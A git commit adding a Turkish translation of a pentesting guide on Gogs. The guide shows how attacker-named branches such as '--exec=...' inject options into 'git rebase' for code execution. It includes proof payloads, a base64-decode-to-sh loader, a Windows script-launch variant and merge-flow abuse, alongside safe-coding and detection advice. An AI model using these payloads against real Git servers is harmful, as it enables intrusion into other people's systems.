Translated ['src/pentesting-ci-cd/gogs-security/README.md'] to tr

This commit is contained in:
Translator
2026-06-05 13:57:49 +00:00
parent a37f47c727
commit b366894a9b
@@ -0,0 +1,103 @@
# Gogs Security
{{#include ../../banners/hacktricks-training.md}}
## Gogs nedir
**Gogs**, Go ile yazılmış **self-hosted hafif bir Git service**'tir. Saldırgan bakış açısından, onu düşük yetkili bir kullanıcının yine de branch isimlerini, pull request'leri, webhooks'ları, token'ları ve repository ayarlarını kontrol edebildiği bir **multi-tenant Git hosting platformu** olarak değerlendirin.
## refs / branch isimleri üzerinden Git option injection
Eğer bir application saldırgan kontrollü bir **ref name**'i doğrudan bir Git command'ine **`--` veya `--end-of-options` olmadan** geçiriyorsa, `--` ile başlayan bir branch **data** yerine bir **Git option** olarak parse edilebilir.
Tipik tehlikeli pattern:
```bash
git <subcommand> <user-controlled-ref>
```
Defansif kodda beklenen daha güvenli desen:
```bash
git <subcommand> -- <user-controlled-ref>
# or
git <subcommand> --end-of-options <user-controlled-ref>
```
Yaygın bir yanlış varsayım, refi `git rev-parse --verify <ref>` ile doğrulamanın yeterli olduğudur. Bu **değildir**:
- saldırgan önce adı `--` ile başlayan gerçek bir branch **oluşturabilir**
- `rev-parse --verify` yalnızca refin bir objecte çözümlenip çözülmediğini kontrol eder
- daha sonraki güvensiz bir Git çağrısı aynı değeri hâlâ bir **option** olarak parse edebilir
Bu, depolanmış branch isimlerini yeniden kullanan herhangi bir Git-hosting özelliğini potansiyel bir RCE primitiveine dönüştürür.
## `git rebase --exec` ile RCEye istismar
`git rebase`, commits yeniden oynatıldıktan sonra komutu `sh -c` üzerinden çalıştıran `--exec=<cmd>` desteğine sahiptir. Bu nedenle, bir pull requestin base branchi aşağıdakine benzer bir çağrıya ulaşırsa:
```bash
git rebase --quiet <baseBranch> <headBranch>
```
ve `<baseBranch>` saldırgan kontrolündeyse, şu gibi bir branch:
```bash
--exec=touch${IFS}/tmp/rce_proof
```
bir **Git flag** olarak yorumlanabilir, branch adı yerine.
### Why `${IFS}` matters
Git refs literal spaces içeremez, ancak shell expansion yine de `--exec` komutu `sh -c` üzerinden çalıştırıldığında gerçekleşir. `${IFS}` çalışma zamanında whitespace olarak genişler, bu da şu gibi payload'lara izin verir:
```bash
--exec=touch${IFS}/tmp/rce_proof
--exec=id${IFS}>/tmp/out
```
Git tarafından yasaklanan karakterler (`:`, `~`, `^`, `?`, `*`, `[`, `\\`, `//`) gerektiren payloadlar için, gerçek komutu encode edin ve çalıştırma zamanında decode edin:
```bash
--exec=echo${IFS}<base64_payload>|base64${IFS}-d|sh
```
## Windows-specific payload delivery
Windows üzerinde, inline payloads daha kısıtlıdır çünkü Git branch refsi dosya olarak saklar ve NTFS, dosya adlarında `|` gibi karakterleri yasaklar. Pratik bir alternatif şudur:
1. Repository içine bir payload script commit edin (örneğin `.abcdef`)
2. Şu şekilde bir branch oluşturun:
```bash
--exec=sh${IFS}.abcdef
```
Git for Windows payloadu **MSYS2 `sh`** üzerinden başlatırsa, PowerShell metakarakterleri bozulabilir. Pratik bir geçici çözüm, commit edilen scriptin şunu çağırmasına izin vermektir:
```bash
cmd.exe //c .abcdef.bat
```
where `//c` is the MSYS2-safe form of Windows `/c`.
## Merge / PR state-machine abuse
Git-hosting platformlarını test ederken, sadece nihai tehlikeli komutu incelemeyin. Ayrıca **daha önceki validation yollarını** ve **background rechecks** de inceleyin.
Faydalı bir exploitation pattern şudur:
1. İlk validation path, `--end-of-options` ile **safe** bir clone/fetch flow kullanır, böylece malicious branch veri olarak kabul edilir
2. Pull request **mergeable** olur
3. Daha sonraki bir merge veya checkout path, saklanan branch adını **unsafe** bir Git call içinde yeniden kullanır
4. UI **HTTP 500** döndürse bile, sonraki bir adım başarısız olsa da code execution gerçekleşir
Bu, bir feature'ın nihai merge hata verse bile exploitable olabileceği ve target repository'nin payload zaten çalıştıktan sonra **corrupted partial rebase state** içinde bırakılabileceği anlamına gelir.
## Practical hunting ideas
Bir Gogs instance veya benzer bir Git service incelerken şunları kontrol edin:
- `--` ile başlayan branch names
- `git checkout '--exec=...'` içeren merge failures
- Daha sonraki branch validation başarısız olsa bile mergeable olarak takılı kalan pull requests
- Failed merges sonrası partial rebase / broken Git state içinde bırakılan repositories
- Windows payload path'lerinde beklenmedik committed helper files (örneğin dotfiles artı `.bat` launchers)
- Failed PR merges'ten hemen önce oluşturulmuş şüpheli API tokens
Örnek log artifact:
```text
merge: git checkout '--exec=<...>': exit status 128 - error: unknown option `exec=<...>'
```
## Referanslar
- [Rapid7 - Gogs'ta Argument Injection yoluyla Authenticated RCE (NOT FIXED)](https://www.rapid7.com/blog/post/ve-authenticated-rce-via-argument-injection-gogs-unfixed)
- [Gogs rebase argument injection için Metasploit module PR](https://github.com/rapid7/metasploit-framework/pull/21515)
- [Git rebase dokümantasyonu (`--exec`)](https://git-scm.com/docs/git-rebase)
{{#include ../../banners/hacktricks-training.md}}